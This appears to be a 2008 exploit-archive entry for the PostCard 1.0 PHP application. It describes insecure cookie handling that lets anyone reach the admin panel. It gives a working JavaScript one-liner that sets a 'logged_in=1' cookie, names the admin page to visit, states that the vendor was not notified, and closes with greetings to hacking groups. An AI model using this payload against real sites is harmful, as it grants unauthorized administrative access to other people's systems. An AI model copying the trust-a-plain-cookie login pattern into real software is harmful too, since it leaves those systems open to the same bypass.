PostCard 1.0 - Remote Insecure Cookie Handling

Author: t0pP8uZz
type: webapps
platform: php
port: 
date_added: 2008-04-12 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

--==+================================================================================+==--
--==+        PostCard 1.0 Insecure Cookie Handling (Arbitrary Authentication)	     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 13 April 2008
Script Download: N/A
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION:
PostCard 1.0 (and prior???) suffers from insecure cookie handling.
to be able to view admin panel the user requires to login using a valid user/pass
after the valid user/pass has been passed and matches then a cookie is created
the admin panel checks to see if this cookie exists  if it does then user can access admin.

since the cookie doesnt contain no hash/pass/sid just a number "1" indicating we are logged in, the remote
attacker can craft a cookie (working example below) to access admin



Vulnerability:
javascript:document.cookie = "logged_in=1; path=/;";


NOTE/TIP:
after running the above javascript (or adding cookies manually) you will be able to visit the admin panel at
"/postcard-admin.php"


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


--==+================================================================================+==--
--==+        PostCard 1.0 Insecure Cookie Handling (Arbitrary Authentication)	     +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-13]